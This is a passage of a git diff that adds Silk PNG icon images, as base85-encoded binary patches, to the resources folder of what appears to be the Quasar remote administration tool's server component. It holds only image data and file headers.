zhXEJ?9=`nWXzrUKL_p*Kr9u@95MU9EKqp2vi+%&1&gUn&>Ut_d3>wiyiAJg5G7j%G z#$sf%Kqau!AAHP&4Q?edl!FWqpT=C{D}$15WC#5QQ<|d}62BjvZR2H60wE-%6;pyTSA|c6o&@eC9QG)Hj&ExYL zO&oVL^)+cM^qd@ApywS>pwx0H@RDN}hq;7mU-SKczYQ-hnrr=;iDAQMZQ+*g=YOM= z!QlMQEn7FbaD->uKAYgo_j9)W&$$zS*W9}m(ey0q$&7l-XEWO0Y(9M=SnhLbwy;d>@~SY$Ku*0xPvIOQeV1x7u_z-2-X>_74(yfh7C znXL|3GZ+d2`3re2hs?MKC#5QQ<|d}62BjvZR2H60wE-$R>*?YcqH(@;f-l!01CbW>s1Izr z3LkoHh<3E?TVANoG4CX|$empRCCS=R(U(hVJfm~E?IkDKRK&NP2|n`v>d(vV;W1uY zrFGVdwn;4b{qUtE`?GB`)E1ga&i2|7ncUL1b!KMq^QnT#_gn?_Z8(c`1Q~Vy3oL!N z$M8vHL&U1J3SJF!56azQU3B6>r|Z(_5DvAA>R z?*04sA6{DZY=zdd(+=vk0&!T$a8_y50t|A2w1 z#8)W+3_ID9AirP+MkY=fSp`L76EpA7nAC|AC$8Og>G_9GpTGY7`*%9~zu7>Ampxq^ zLnI_w4_f;%8;UqweEt0S#`GqiB@QYJ7ChL_tW_1Y;-*4s*+DjeMUEzdjtWg2^CdI? zJd|Nx#l)~AB;dk}b&L}Eze99P?q2+xEz^Gf?cLOMVvqIYUplX;JU!nwmGM;0`Ed2N zWxE4eOXBTUUHrCp2{TK?+PcTHBd)XYGnHA`-@SRKGuNa+p-xN2@0z#Z^#*}w>Y~=h zdllGNCLd$6R}~3n{CLkMV&48YA}$W<;`)c`u{|!n*p00i_>zopr0RA>a%m4rY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png new file mode 100755 index 0000000000000000000000000000000000000000..4a05955b33794e29097726af19f1742d9cc95b4d GIT binary patch literal 644 zcmV-~0( zP!_PL2~i9VnPEW6Fz?O3dVF_U$duAL$=SU7&hNc@-drC5A4z=IgjR%B|D)?dOEaGb zuwod-$hPex$8oSoqK;@Z8u3EBfK@V2CKKqo?yA%2pjNA)(P%)HWf#)x^$?52W{|1b zPXOA$IfrSQV2q(qC_vLR)a!L9isAxjoeoJRlgE&G0Ga8krBVsGjZJJ-x6y1i(eL-q zwB%+o53no?l}ZJh#drAjlc6nhs3RTn;1IH+x;K#|X)!=#fM76)$IqT4^N}IF%aQ#o zTKS@*)|#L#jiCPi9~);c`x>TR|0{+9a?O5Exg#~V5W2C7G9nAAN(~f z2caqx&t~GhnK;qW3~&OuEke?%u(8Jxs_+ZVVz1^-uLrP95TahadGG$+(D&+%2QMF8 eFxE8s%l`oWamgLPAe&$S0000dKE@duOisOkyZ-5 zuwDqkAi_*y5o3Xrq7ieT<<3p#-R^dGySwea-CgZZZITBc?#1u+FtBuUCJUZe;~j-%Tu@ZpYB;$&ydfdZG#(j;(iB#^yRlqv#C*LO zXWXM0cpKKBlj#L6awm|;A38Zs3mg;sQZmCAZT8m@X{AlP6 zVI=SsiA16x=>2%^XV3U0y4~G+MNE!B{!#;~%L2l(14PX>EblXb{rnCSlVKe0dyf-O zuY#uOf}m&2xq80;4d3i|cuNw}U@sg3VKRU)>Os_1L3pl5mK*|?X3#a}K+EVZt&w?w zefXKP^ZqnW-3y9AhYJZ~r4m*!Z3OSz3d}2Q`nDM_f_u>L%8Cb}8`?bl)x?gwAy>zp z06y57kT6sry1g2l{|V%UW?)JwnbzUugbvpOF3=oZDo}spfs2EWKOH{_^59;ue!o^A z@e7dWS|QI`Ff-E$USJ`LqDF}zH%R}YOlMiv63A=qK^d}n!5_(fW%^k4U_D`_meIDi kNMKea>saR;>gt<+0gk_zsk5>Xc>n+a07*qoM6N<$f>Jg*?*IS* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png new file mode 100755 index 0000000000000000000000000000000000000000..1eb880947ddf3e745c29e8d9dc90f09c7e6e323c GIT binary patch literal 309 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$R?&;zfqH(@;q9b3Efq-lM(nr^( z=EYR73-9e)UYMWsXy%?aZsD68Yyv^2$~6QgEcljw%kx>O(f-gQ?@fOOx3A-0+Qw?O zRx~W)kn~Qe2d6f9nMG#g9Q04Mk==M~N!Dglvxk!fgVh#w@ZV$IY1+Xc`d{d2UcaP~ zfWp)_Ivqj}l2SPy^9ZWy6rG9Yx4v67_uA&&9|XA~5-#3)W3%em1peD8RWH^#O%XoM zxMPud%}GTj#~*+7JMxTd!`{^Q+>(D3*|@KV`*G2;{QnANOxu1$r2xIe;OXk;vd$@? F2>@zac~<}c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png new file mode 100755 index 0000000000000000000000000000000000000000..ae8ecbf47672a874c0958d0d113a56162c2bd364 GIT binary patch literal 651 zcmV;60(AX}P)hkjP zNW|QGv-YFNLN^qH@tJycPNG5ti6B7;r4mEr#lr@*T8*M85D`{ZR^BWwF23T<%MYIh zdC)S*p=|xk^!~H=+HSZ183~y8v4|mYmZxt&)5{{~>J`>E223Q5>T$=~mtA71q-jdG z+eJhOAyBW^0k9Gk1+rX8)zFx((CG^&tDY>6XaS~Fy!WJON|Gdujg5^~Vzt@o%BcYLiNiTQSD`zL^ociBz_>bDlpw3kriQ@Z`bVsGz-_6N>$&gTDiKDTKR^ z-hB*tHa^>!oD~5TK^0UK5rZ}RBm50Bv}S-yA%s=Ha5RYb{)!z2N&$&64gfhybBu8p lh~_|?8^bu;BRYt{<}Yrwd83Y=s?Goa002ovPDHLkV1l%3CP4rI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png new file mode 100755 index 0000000000000000000000000000000000000000..6ed2490ed1432d5d667a76235360824a1088e928 GIT binary patch literal 734 zcmV<40wMj0P)JT{hN;C#tgf#9krG=I>5!<*aE1_(spcgF}<`n4i zJi-}^6UUeU4jUFwdCiVPDm%`Zx^UBa8J(mnR6wEgz^}o8;)M*Y(@l_!Kfv)}4+NuM zaPXE50z)r)9=D=SR|RIqfQ^j}Hu!fzMeQBo+@PZk1G8hOw|vBTvkx`HM)Xe9q3xao z@`p0`NO!2904FHSLA6E@Y-O6zH$DQzvq@aHsz}}<(!v(Z_+EodX%R&NZW75g+nENo zV0020rxE^;7d!067AN>6*+&YLp$9uH6F-=In`XC{Cn%+o|5)b&boEPr02w@|P*oGm QmjD0&07*qoM6N<$g78X0Q~&?~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png new file mode 100755 index 0000000000000000000000000000000000000000..a1c2af90a7995ce744899a3d16a41e81b26fe771 GIT binary patch literal 611 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl481(~uLR|m<{|^+w3L@LDHZQ&3 zw&MPjDO09SojP;o%)*{+>632)*B@ED@8wb;*#C0bvSlj|zFK|w^_n$n)*gAie*O9lKydu^hU0HG0l|qkn@_ym zvSrIwAUO4Q$Jw{LckkZ2ckjM^`wkp9a102peK>jY2A>C&YuSFT*WdiC11 zYqxIQx_$fh!-o%_J$v^2`SX`AU%qh0UN@87@w^y$;*&!4}1`SSJa*KgmxegFO) z;>}+m0Q4WogR?Vt3jza6x+KUin1PW=MpnVt#4NhBV&cS!liq*$@cHYv??3&;AnR#=~=&UT6TsPhrUP4L}gXI zLl!5F+v%v9&FUA`nIP~$U`<};L#8Xo7{xsJwtT!ES{ls5-Nrei@@K`b9onuf&MY<| zU;fVNEuCt+Sm_|sAFi;Xth9Uk1UWZuRA9{0v{q-%Tu^zElk=kkqh4XQdvN94Cr_Rn zIZ`p9VaCq2oonK_I`~-}7#V$)C37dR88C1aaCK#=EIrVmav^}NOwiLJeg?0`fkWpQ b*>iLlT4PMUxjxVn0;LmAS3j3^P6Hd zO-jQ65QgE=E4a1b9U=iQBpyQ7g1AxaLJ(90Dfq9nq6i{Z5OkyB4Mfo@*7V1wN&5OF zt)U6u?B>bLBr(j!%`rEZ2^+=Y#N~AALG;Lu5+>=evh+{la)YSJ9xv?j!#D3DZxjc_ zY{cA!|}ZJZghQA?Bta;E5}aw7sP@pPKTT1)-WXP6T7( z>5{KJc&193Fd=Q-;^jeEgHMyqU0u{xa^O&@Bp?v*H75hknWf00UN+E#uG%@U&Kh%U zQcBwWWI%}p-MuUpq!|Xi3TJF_%trc=lqdnJNxya7yW^G{wujn&!<;@Sj7`m7%-qMB ft`7Zj#|qdVOt4$VZi=kJ00000NkvXXu0mjf^N^Q9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png new file mode 100755 index 0000000000000000000000000000000000000000..834cdfaf48a509ca51d93250fb28dd12e5ea0a13 GIT binary patch literal 777 zcmV+k1NQuhP)XPw^Q4IIXsG~v#u_4t;x_HM16EQ@QRY+rut&97&UefsPmLrQ5P zBC2kcbux9L%2bJz$P$XV$*zSxb2e@6_3O#;&!FD<&hLjGn%~%en;7)djE^d6!t$lW7GyIOKlQ46hr`Z zjLNuRDP_53dNoN?wd&HMgL^m1DXFU<5dQsrceN>fSz00000)O9XRTN^$%%`*Fg>ryDtc(lF@?b>dE!20r+y z#Q*>(wbV5H`-E4Do={CJp7=ERhw15hgZi)?jRG88 zzVz(5;g?Td1izJyO33bhjg2Qc7FVY@f9!o)Gu?DII~vm-Dc?}3M!fsgjP?F(7`rgg z+xOk8XD)e?Zl=5+un`5!7kr?F=eq)K-5uqr%yU$1hLv){Vlm=)*5~`lwMciiXFu*g z)*Jkz6AF>#zb(Vx`Iv{bdGZHtlW)v(y5k^|xgSUc9%0}S20nrYrO}78ofk?bV!5)4 z=Ngz@+$9N1>>mA%IWx`Fqa240bWkiW;2TZgd8CZS0U}@mknC;!2;wi$eI@`h0y2JS`Eae0CW}q(2(%!m8 zWq$`PDU>LT1_y*bBv#P5<@q0@ttz$hIH}YMDvAigCc=y*)jY-VOpTd;A8@3t7Xh4r z0KTWOk;N2Ox4!&&^4B*no$WtTX!BXB)rg!y8dvGgKBQKLJNXRRp0}Bsjd1|LNQX~c zbC~fjrk2iL@4dYF*vt;}dFn(%h)n_-vzEIHMOKRkdF%3Lq|zBgKm_h>TEq!))nWjq zzn;B!?!(dQcHu$#=JF`cS&W~C`WHFW^B!~MI#k)>1Vk&eQy8P1O`J6V04{D@|7d6^ zyBABnh-d^H0FX&L07M||E0n_dp4v&Q%PSE9p#R#Hq)`5I_(B5CE#q dxjPz0{s-<+c#AC!i7@~G002ovPDHLkV1iPlpuqqD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png new file mode 100755 index 0000000000000000000000000000000000000000..a3ecf87784e7715238421dbbe773a54f602c7fb9 GIT binary patch literal 548 zcmV+<0^9wGP)_f5P$T1}wR3qlt(jG_Y0Zr52WH59esgOQSo5P}VIa-lfSOgY zCZygaE0|WSnkNR-ymix>c|SI-nf-6e(wcueyQTi$-RJ-R;B=$^K+VoLQ)2g$Ws=Pc zm#>>RZ{`29@OSkoJqNN@e;Py`Af1JrY`wEZP%6mtqXSk zPwm?BzjD%=|3xj6wl2t5m&ThH>ZdPV+c10m|F)IK{&%jw_P=uO$^X$kSO5DKE_-is$J8N5P(ZnF4bK|DPP6d6{}iR@dma4U zGwNI63={10?wsg6GrMIz9=9gZKjA|+f3>GAK+D|GJH82pDTdw`PIL|}-E9ldO1tCE zh!Y}h7`H{Mc=~qbQ(FLcAgsD6T*IKskM2jy_-qNlZnsM>1c*c;%G7om9HAYZ4@|gr ze-YdHGL{@3SlraFMS}W1yBeCDwgj)70ffV0WjdWkyAqr__<>5Lf>Nmjzuyn#`-SF| zCD@#CrZM!vJ3OHFTxO9ZIYyfsjRp#Z0 zMwk*D4u?7#jpFF&2#1GEG`Byu|C}hU^-i!wvCE+^rj9RT$?eTa}EEYkR zMK{!HwbGGEfk1HjC$2x=82slTsZ=WU`uaN4eVfe&i9|y3`F!?;Cy|z1E>{~228hLC plE>q<_Zv^tYSsXk%l)sJ)*onV;!t9*YM1~3002ovPDHLkV1n&hO1S_4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png new file mode 100755 index 0000000000000000000000000000000000000000..73c5b3f243d98d089dd9e025edc81b939c1a9320 GIT binary patch literal 856 zcmV-e1E>6nP)PbXFR5;6x zQ`<|^Q5@e>|3Fq06ckj13SKAzrBX7=2LmNa=VjAGbC_kBmo!b(h0(lh&dtlb&FNfD zmuquN(K1t)x?D|-M01+g{cLIqvEiq)K|Q2K51*IA`CQKDe7`gRw4E?o66yPi8&Nn? z6l%~H1nUQ%T@&i^1O5KKw~aW)k2+%HG368DWXx)cVb)1u?vucz;=oXT3q3jhU%Im| z1?(s=#*a)g@)(;l>H@5fX<;>n14d_9M|`nnP-6AN3z#%q4DzF(Nk5nWM_|14<{lEc zYPuy4KilYl*ag-mA8dVe2Tbuq#03kAEX>O@@Lksg>YW6tl(V+B2dCW}0wgkfx|Qv4 z-D>azy5k)pmaZ6BhrO`cMMsS?2x;x!C{kX=N`E6pB`Ii0bgLj_hNq!8%(hX_#U?!j zKiGk=Hh5$0c^KwfGl^?D=47dOtiAw2KNAm$$b9o7%%}<>OK>*QNXr%9w1k|LfQ{U2 zSbTi2+))I}Pzx-B&9LZXSZvF~o2CeGlzvc4uVc3ME*4%1(7-xD(S|uUCaD1_sK#7S ztY9n_un1WWgXlK28Rs!v7K;_~=D2b`P734*5Qt!^h`~~a5OuM~Hfisl25mar^a_}} zg_v*2Bt^;WEyLcAGWiUsw{`FkNI_Ti5|L(1@j^*TA*!PfgVy)tDpxOv#%F0dOfNa0 zdc|1jYs3&aBQ0Zq#{l)Z8sgGaTq&(WaY+Uil^l#q(oh+BaNO|=WH5X?GktSNWOaL* z*ZNp}GN_(f2a)O)VOE@kDJ~t8MZuVBOvi$ni}tLGC}Zpk**1wJva900hs{igrph=+ z+^OPVd@W&MNyEpqoQ;kge+VO-3U?f3JDTsf%0@_u%bjJIsY%3=wv>=dpyM%#>wcRc z+$m+(U9dwMf67h5I&QPOO-M5_z-8e1J$HL#g&=&d>pz$2H|k=JCX$xdMNx#CVVzw7Br$VwirmQyNV@gr)$8lP5a8@sX@X>Dli-1k7mq;##Fp9!vA_9^;^gT9 zP&gbR4}cpAfn4PTZUM;;=G@;S+1?wugFJxT@euH|gQuOIga4}@AmEnvC%Ym({+M9j zVo-M%iVA!`GEJ-1T5@;H3^V)O0~j7suz;J9gdFkMB)8`tk|fFDp$n3T<2Y?Ln@fEF zAw}jWIBvqt>2x}*t*xPfNLgR6*9jr;*MT`691n(DgqZ(davP zmnO-~_^B!6Lhj^Kh<}!mM6FgE5@&Y?c=UF4wG3R!9vOLdDwio1i$qa0@&m+^F-hDazwk}ll-1Dc;27nEK-O1DzqF;+xvCKUl1yw-F>su5hSe&Q6 zd1nGh{5?V(0CA|b_?hj9v#84YIfF7$vAk&paR3!TtVK+Sn6TEt|EUJBh%@V)?=D{> zW|j#eOFG+*1PTX+xH9%m#R}Fa&bmJUhgbv7BF=$=Z!3&m?IRxZH+3!)BW{d+SOs7W z>IAids-lshF6MLl!6%A=qq`-^%tD29U5rdB#`J6%XB2;>11C5uIO`DW5T_^*gi1m^ za;-^zl!R@WI6>&p2)tE*AjYA!Cq~ey8e}~nq4IkACngdWzJ+|5kLcOkfNyI6aZ+`) z4zbn0i>iT|Q2APRfap0wiqTYrbIaCxC0R;+m_%U#i(9u*!|M51aJ}!|~%ZZ*AV!nrH z6)^H*axx9leCK>fZ|?Hc~wO$JO;+eDygBY-q!vzBAX@ jDN+qv6;u=v4^;RK&~tO2tvSZs00000NkvXXu0mjf1&A?| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png new file mode 100755 index 0000000000000000000000000000000000000000..78142b61e94947df5d7b20630ee5f93ef17377c4 GIT binary patch literal 391 zcmV;20eJq2P)dkWb2!P*^|{Swa$CLKTy39-L_{XUUOI%9TRToJ!E0S=5|e*rjUOk2~3@P~60A z-K%rmu597Uu;jWg=Cobtm_Y2RVeHST^5Mwx=DzdKZ}iWl^wg*H))34H((EB-xmd1e6raEM-^`e02kJ8yizj1mDU+RbStf z1Hrd9){|3_M&g?o+G!}_;)|g1g>_N*%))9?DDr$dwnE~{vJ!9y@L6kViU|lJT*xDD lq%DfXXW-`L7i7WXX8<#!4)lY27{vep002ovPDHLkV1k3|#2)|v literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png new file mode 100755 index 0000000000000000000000000000000000000000..9814aefe742adad0edc10ed5cb945fc2c47cefdd GIT binary patch literal 548 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..bbe4f8aba2ce43774553cde9ae33a99626fedfc8 GIT binary patch literal 615 zcmV-t0+{`YP)%*{aNai6YXlS;4Z!H&hL8-fhmgKTOQxX!a)O6V@-K8Cag+^@ULl&X$4v<*AK_y8;GVul}2y`Dd_t?kJrLGh}bvCYd=c z)%mGopJ%7l zz2D3s1QO*{TDvnaF!X=ey&jy3-|>yAN~u&Loldi~v_x-jFXfI-*5AM4z{{J|s^3`$ zDrHA-eA~8yi2SZrt9b8;q6qIji9~`__Bx;5y`}W0jk0Uu*H7W=iUfoFHiKfZ_-Jx+ zacK@S!@h=-yEBPe(i z!9ay7UV6}j5OUI9ni4`5Y%nw>Hf=V$o85J0L$(BM9C$nL?Y#NEnRzq9bzKaTY&Pq* zS}kNU8SyW>g#U=+I4Befo7!dmYngKC#= z-5ZhYsr7cJNXPwt4fq1HiGYhcM+6>@yO| zXD@>K)$29`oe)=`;M0Ve`z_rRHM)ytw;{NqJ92_6VOk@C*y0Ex)o5ihL^ph1#5YinO zyxORvZUfgg!GxzCWTNIM`)KJS{p1Ntor?_ABp3_=gaD2H85Y)0(rUlQOh{nzR6z<5 zEO0De$IN)yJIjF82x73(uJW{bfy*E6{#GD4S;+brQ?z@ND2z~($5eI$1QYf0H)an^QOO;qRuu9YpYp4SM;xg>M8uf2%- z4&`D7e%l1>UYk(D)RldpJ=nl|j&F_OWY^F0mWv<>mGbk{ZJaBpo;hQ@c$JuAE_G z>kA@^Du`N&ASK|$QI{P-M0lOJM3Q-5L||^Kgud8yZZAIFCr~v!RYRTlfoYQIjVYQ- z@`-LI*iLI^b+d+Cy~4MZvuq`bP?tuvn%~Ob0#1}j{!glo6%)=lNp(n3tLAI=Jjyf5 zcAt}odBk@Td^~l6M0_0&@I(!DhKN#_UXGgLY!5ZXP>M6kh|a8&xfSGGV;!Y=6}+16 zW8(80yiCP&qNo@dN3uwC4q)Po`JMYauvk&f<(3vCC`5{z7@6s%zN&%Vg?>B{1q%?$ z%_k=(4^_X?%By$TULFLLp%=p(3S@Dy@)`hl&UZ8LsS648`vi-#v-`XK+j+9R)hAFR z7II8S$C-?d(caWU$51O7Y3ZaH1P*eI^=;vYrRAY}4b_cQ6xFiu{R87uV=OPNcLol6 p&h>5K4&Ww`4Qv8k6OW_qzX0uFt{M8}XYT+2002ovPDHLkV1m?qHvs?u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..18b67df43aaa0eac5878317173146b3d9b1dcbd0 GIT binary patch literal 703 zcmV;w0zmzVP)E*UdrD2cU6 zL=;sJwLC#yz=`8-_cEB(*e?>1AKiu zNOgJ<--)7PM2btu+Dp1gE<;I?x-VD5n8Id~ED*w*PD%={_G2sL||uq&`2V z_~}Km={ZusY9dUgAdI(_Hoohq@7)$HzP78<`F?1c)kVkm`LN_N*5hrp&hI-Kx|2(@ loni4BC2TVW_f8GCzTapmv2Abd86N-u002ovPDHLkV1l>_I==t_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png new file mode 100755 index 0000000000000000000000000000000000000000..e6bb35fbf8a31d1535fd86db6c0c6ddd1cc5fcef GIT binary patch literal 784 zcmV+r1MmEaP)s|6h%ThKxv*&vL}(yVunR&6mG%%uQ9hSF)I%Xelo0h)4-xd( zLqGN=k%rVmRQRAItqZ!v=x%F^nmVoH&V19IZ?+#Ff}j}=m$`HAIp^N_#${O+{^ycL zukHIQ17jA4Nia+XlVC@~u%nZc?84gCW-!wP$PIU739wl$o}wIMVAN#S*o0t|hk(g< zlMVqh4Xn&(kzZc@C*`t=a`=_NZwD47?dBH;-+~(eocI&;d__5j(jE0SJsu3+LygbJ zi3P4$+``!RyM#N?T{EN(7)2Clls8K)VEHK;XOk;i#T^KaXUF!Q$`my}!b`0m1-3#3 z)NBw5VM;%Qk;VO3U7zL3v=%<1K++*0%&gbq*~(d*pS%Cd zf!!nVg;5n>7%O0UbqZazGSb=xG_eayYpw9IBTyIHu)YzXS`oW>58Fy$v$n`NL`nk? zKh~o<<%Pfc7*g38SZ$Bd5Pk?eZ^BOBE@YbekoZP>vRsf%PGIr5WHE#fqgm9`-E*P` znx>&)z5%b_kAaowINIHZ63LBBrU?@h)licuNVYPgdA55>F@1RiqOTJNPIltzg;V&v z>_Sjc5RFEWNoR2D=52}#2vrF<-hUD5r&$QLGRR7WSH_yli}DID|1g)X51>%Uqqnyg z?d|P|$K!~_V$ky%;vt>alvjEk2Xl!8KVh3|Kzc#tF9!#1@RK(*Gz5>w!*ljX_S{br z45wp2hH71Z{*94Hq`9%N@o7g#N1(2*j!BYKmCa_6OeW!WyAcY7;P?B9*jQ3kRTv*1 z|FVT391e@YU@%IG!-}HRP?Jb$A(zXYp|~K+@-W41x~`k)bowhf>iz+8udW=YJH@sD O0000uGbh)OD` zgcc!@P()C+7(|Syv{2NWl1}%|Ip23$OfzL^1Rl7H!-a?UPH0>AuIgq>Y&*abtHh}bOQd8rj^1=cFY2s6_~{FH~Pqa?m7MUmIL zXOcRvh_#B#q^Swkk*#g!jm7WXi&VJ<8 zrFU3SGIfR^Sgcm?D>^DRQrV;2ce{u!WPvAN_Ooa<6KaGN;mE)!NfIOa2cTl3sg$9s zVVo(vQNs))-_MaGw`pzK zMsTql`^! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png new file mode 100755 index 0000000000000000000000000000000000000000..4a158fef7e0da8fd19525f574f2c4966443866cf GIT binary patch literal 606 zcmV-k0-^nhP)Q2rnAt>LM%-F zK|rtwgcU)}7x~z1Hrcs5bH*ZO$!>xO8K#?==bZPQ_ecnV>#P`H`QzGaRhd62G_&rC zTLU$c7_x*nFP_dW#Q+*);mMHE?j)HexK784D4x9l_tfpz2$@1y}9rkF+ zI+J5NMWeZyObc!d+rUc=>D+uOdAOg#%+Ej6h+wn5^xPmVVH*Eu446Y0A_@ zo$rlds-+sL10DbwHdg4=I}KDOKH)5`dDSD>$*Y+lYhxmAcGuF-%MWsHUJr4IgaCsM{ig0 zSSBT=s4DwP*iI5?#me_ElhaWObR8DO+&EW-R6_iOTG;>$!^9AfH5RBU`HBdsS8XyAx|wUq)E7h=Ss)mVnuwi!$R3b1!m9&Tc8e2Ah* z93dsPSIWMcb|P*JsnqXhvE^WDxdW*bQYjAj-)O1aj{;`q7kRbTjhQIKR1t1J@W^=H z&KKSDw_e_z=&`ic2;k(#VF6&)C&;9iap&Jt(%M18^cYK-DUQ?~rD9htLzB%~biuWVi^wq=sbuS+r^MZt^XM4mKhUNn@-HDRMN|w*p+XTw5ejxoBfqGYGMX z(mxA;rQ{;Eh;XXz5&+jv+-LAZKk(eOLY8>^WN4-(D|NlrfBplBR3bVVA7LUsOjp|g zy{|9gnht;`^xt0nqUO%>o{FmI&DMtF)b45G)516-?}wS2P4@j4U=z{{Tmg0fDWHG! bUcBoE0(26M^-PUO00000NkvXXu0mjfKPpmF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..cca9f535d9a699716b2c735d0d72374472b9e1ea GIT binary patch literal 744 zcmVP)hQkw$4DenXv_1k19q1k|i7>6Y(!p>Gs}5>iPV z&!aPy~rgIO_{C4dkZ 